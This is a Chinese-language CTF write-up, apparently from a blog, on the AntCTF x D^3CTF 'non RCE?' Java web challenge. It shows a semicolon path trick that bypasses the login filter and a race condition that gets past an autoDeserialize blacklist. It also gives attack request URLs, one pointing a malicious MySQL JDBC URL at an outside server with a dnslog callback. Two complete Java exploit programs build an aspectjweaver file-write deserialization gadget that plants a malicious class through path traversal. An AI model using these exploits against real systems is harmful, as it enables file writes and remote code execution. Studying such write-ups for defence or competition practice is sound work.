CTF Web安全

AntCTF x D^3CTF non RCE?

Posted on 2021-03-08,10 min read

题目给出了源码。首先导入到idea。其中有各种问题。。跟着百度该配置就行了

可以看到源码中目录结构如下

checker
    黑名单的check      
filter
    filter类
launch
    main类
logger
    日志类
servlet
    web类
pom.xml

首先看下pom.xml的依赖。可以知道这是个内嵌tomcat的web应用。并且带Mysql依赖
继续看Servlet的adminServlet

跟进checker。发现是关键字检测

public String[] blackList = new String[] {"%", "autoDeserialize"};

再看看filter。对admin下有没有啥过滤。找到了LoginFilter

匹配/admin/*。输入password,password正确才会放行
然而这里我们并不知道password是啥。
现在的要求就是要访问/admin/importdata。但是又不能让/admin filter匹配到
filter下有这么多类。咋判断优先级呢。一般来说。有个webconfig类或者web.xml来配置。但是这里都没有。那就根据A-Z的顺序来
继续看filter

csrffilter  没用
urlfilter   替换了字符
xssfilter   添加了http返回头
logfilter   没用
loginfilter 判断密码
nocache   添加了http返回头

看起来只有urlfilter有点用。跟进

欸这,第一层绕过不就有了吗
首先进入URLfilter。把;替换为空。然后直接转发到了目标的路由
比如输入/admin;/importdata
经过Urlfilter。替换为空。变成/admin/importdata
然后去匹配。匹配到了Adminservlet的路由。直接转发。都不会经过Loginfilter的password验证
第一部分完结~~~~

第二部分绕过AutoDeserialize

看梅子酒师傅的解释就够了。
https://mp.weixin.qq.com/s/GxFFBekqSl5BOnzAKFGBDQ
简单来说就是某个线程将url绑定到this.toBeChecked的时候。假设这是恶意的线程。刚绑定完。准备check的时候。欸。来了个正常的线程。把正常的jdbcurl往上绑定了。这时候就过了check。恶意的线程就得以往下执行

/;admin/importData?jdbcUrl=jdbc%3amysql%3a%2f%2f0.0.0.0%3a3306%2fmysql%3fcharacterEncoding%3dutf8%26useUnicode%3dtrue%26useSSL%3dfalse&databaseType=mysql

/;admin/importData?jdbcUrl=jdbc%3amysql%3a%2f%2f119.45.155.77%3a3306%2fmysql%3fcharacterEncoding%3dutf8%26useUnicode%3dtrue%26useSSL%3dfalse%26statementInterceptors%3dcom.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%26autoDeserialize%3dtrue%26user%3dyso_URLDNS_http://1n4jm9.dnslog.cn&databaseType=mysql

我用BURP复现的时候有个坑。就是正常请求。由于要去请求。所以会比较卡。而恶意请求。check过不去就请求比较快。需要把正常请求的进程数调高点

第三部分:FileWrite Gadget

简单来说。就是用pom.xml中的aspectjweaver组件。jdbc反序列化。写入恶意class到classpath。然后jdbc再反序列化一个恶意对象。就会在classpath里找。找到了。执行它的readobject。我们可以重写readobject方法。导致恶意代码执行

Gadget分析

这个链子原来是依赖CommonsCollections组件的。但是环境中并没有。给出了一个DataMap类。
先放exp

package launch;

import checker.DataMap;


import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


/**
 * @author Lucifaer
 * @version 3.0
 * <p>
 * Gadget chain:
 * HashSet.readObject()
 * HashMap.put()
 * HashMap.hash()
 * DataMap.Entry.hashCode()
 * DataMap.Entry.getValue()
 * DataMap.get()
 * SimpleCache$StorableCachingMap.put()
 * SimpleCache$StorableCachingMap.writeToPath()
 * FileOutputStream.write()
 */
public class test {
    public static Serializable getGadget() throws Exception {
        byte[] content_byte = Files.readAllBytes(new File("C:\\Users\\Administrator\\Downloads\\fg实验室\\target\\classes\\launch\\Exp.class").toPath());
        String file_name = "../../../../../../../../../../../../../../aaaaaaa.class";
        Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];

        aspectjConstructor.setAccessible(true);
        Object simpleCache = aspectjConstructor.newInstance(".", 12);

        HashMap wrapperMap = new HashMap();
        wrapperMap.put(file_name, content_byte);

        DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);

        Constructor entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors()[0];

        entryConstructor.setAccessible(true);
        Object entry = entryConstructor.newInstance(dataMap, file_name);
   /*
        从这开始。就是构造入口了。要了解HashSet其实是基于Hashmap的一个。而Hashmap又是基于hash表的的一个key value。所以。这里要先反射。得到HashSet的Map。其实就是一个Hashmap类。然后再基于这个map。获取里面的hash表。再把里面的key。也就是foo改为我们的object
        */
        HashSet map = new HashSet(1);
        map.add("foo");
        Field field = null;
        try {
            field = HashSet.class.getDeclaredField("map");
    
        } catch (NoSuchFieldException e) {
            field = HashSet.class.getDeclaredField("backingMap");
        }
        field.setAccessible(true);
        HashMap innimpl = (HashMap) field.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        f2.setAccessible(true);
        Object[] array = (Object[]) f2.get(innimpl);
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }
        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception e) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node, entry);
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object.obj"));
        o.writeObject(map);
        o.flush();
        o.close();
        Exp exp = new Exp();
        ObjectOutputStream ox = new ObjectOutputStream(new FileOutputStream("Exp.obj"));
        ox.writeObject(exp);

        return map;
    }

    public static void main(String[] args) throws Exception {
        getGadget();
    }
}

idea动调有点问题。不知道为啥。。。。。
直接静态看了
入口点在于HashSet类重写的readobject方法

这里s就是我们反序列化的恶意对象。然后调用了HashMap的put方法,把恶意对象和一个占位的空object带入了

这里key。就是我们的恶意对象。可以看到又带入了HashMap的hash方法

这里调用了恶意对象的hashCode方法。根据exp。这个传入的恶意对象。应该是DataMap$Entry。继续追hashcode方法。

跟着调用图。直接看this.getValue()

然后调用了DataMap的get方法。this.key。这个值我们可控。传入要写入的文件名

如果this.values不为nulll。就从this.values.get(key)。通过this.values的get方法根据key来获取内容。有点像php的$this->values->get
这里把this.values设置为SimpleCache类。也就是调用了SimpleCache('文件名')

这里会去父类找有没有指定的键名。父类当然是没有'../../../../../xxx.class'这种的键名了
所以会返回null

接着回来,v等于null。v就等于v = this.wrapperMap.get(key)。最后呢。会带入this.values.put(key, v);
emmmm。先说一下。后面的利用是SimpleeCache$StoreableCachingMap.put(文件名,内容)即可写入文件。
所以。这是不是又有点像$this->values->put(key,v)呢。这里把this.values设置为SimpleeCache$StoreableCachingMap类即可。然后key呢。就是我们一直传下来的文件名,内容呢。this.wrapperMap.get(key);。那么wrapperMap就为HashMap类。成了HashMap.get('文件名')。根据文件名获得内容。我们只要在构造exp的时候。给他塞一个文件名,文件内容对应的map就行了
至此。最难的部分完结了。继续看SimpleeCache$StoreableCachingMap的put方法


大致就是这样。有错误烦请大师父们指正

接下来。就是利用了。
利用这个写文件的Gadget配合jdbc反序列化往classpath里写入exp.class。里面是重写了readobject方法的恶意类字节码
然后呢。再配合jdbc反序列化。发送一个恶意类过去。这时候就会在classpath里找对应的class。找到了。触发重写的readobject。执行里面的恶意代码。至此完结

根据链子写出Exp

package launch;

import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class myexp implements Serializable {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException {
        Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
        aspectjConstructor.setAccessible(true);
        HashMap wrapperMap = new HashMap();
        byte[] content_byte = Files.readAllBytes(new File("C:\\Users\\Administrator\\Downloads\\fg实验室\\target\\classes\\launch\\Exp.class").toPath());
        String file_name = "../../../../../../../../../../../exp.class";
        wrapperMap.put(file_name, content_byte);
        //	HashMap类。文件名->文件内容
        Object simpleCache = aspectjConstructor.newInstance(".", 12);
        Constructor entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors()[0];
        entryConstructor.setAccessible(true);
        DataMap dataMap = new DataMap( wrapperMap,(Map) simpleCache);
        //DataMap$Entry的this.values SimpleeCache$StoreableCachingMap类  this.wrapperMap DataMap$Entry类
        Object entry =  entryConstructor.newInstance(dataMap,"../../../../../../../../../../../exp.class");
        //DataMap$Entry的this.key	文件名
        HashSet map = new HashSet(1);
        map.add("foo");
        Field field = null;
        try {
            field = HashSet.class.getDeclaredField("map");

        } catch (NoSuchFieldException e) {
            field = HashSet.class.getDeclaredField("backingMap");
        }
        field.setAccessible(true);
        HashMap innimpl = (HashMap) field.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        f2.setAccessible(true);
        Object[] array = (Object[]) f2.get(innimpl);
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }
        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception e) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node, entry);
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("aaaaa.obj"));
        o.writeObject(map);
        o.flush();
        o.close();
        System.out.println(map);

    }
}

下一篇: CVE-2017-3506 & CVE-2017-10271→